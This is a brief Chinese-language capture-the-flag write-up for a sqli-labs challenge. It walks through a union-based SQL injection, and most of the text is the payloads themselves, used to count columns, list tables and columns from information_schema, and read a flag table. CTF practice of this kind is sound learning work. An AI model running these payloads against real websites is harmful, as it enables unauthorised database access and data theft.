青少年CTF平台---sqli-labs

 ##题目:sqli-labs #考点sql注入 打开题目 先查找字段数(id=1' order by 3 --+) 到4的时候会返回错误信息  发现有3个字段 判断回显点(?id=-1' union select 1,2,3 --+   然后看数据库的名字(id=-1' union select 1,database(),3 --+)  发现数据库是(security) 查找数据库的表名(id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=  看到有个flag表然后查看段名(id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='flag' --+)  查数据(id=-1' union select 1,group_concat(0x7e,flag),3 from security.flag --+)  得到flag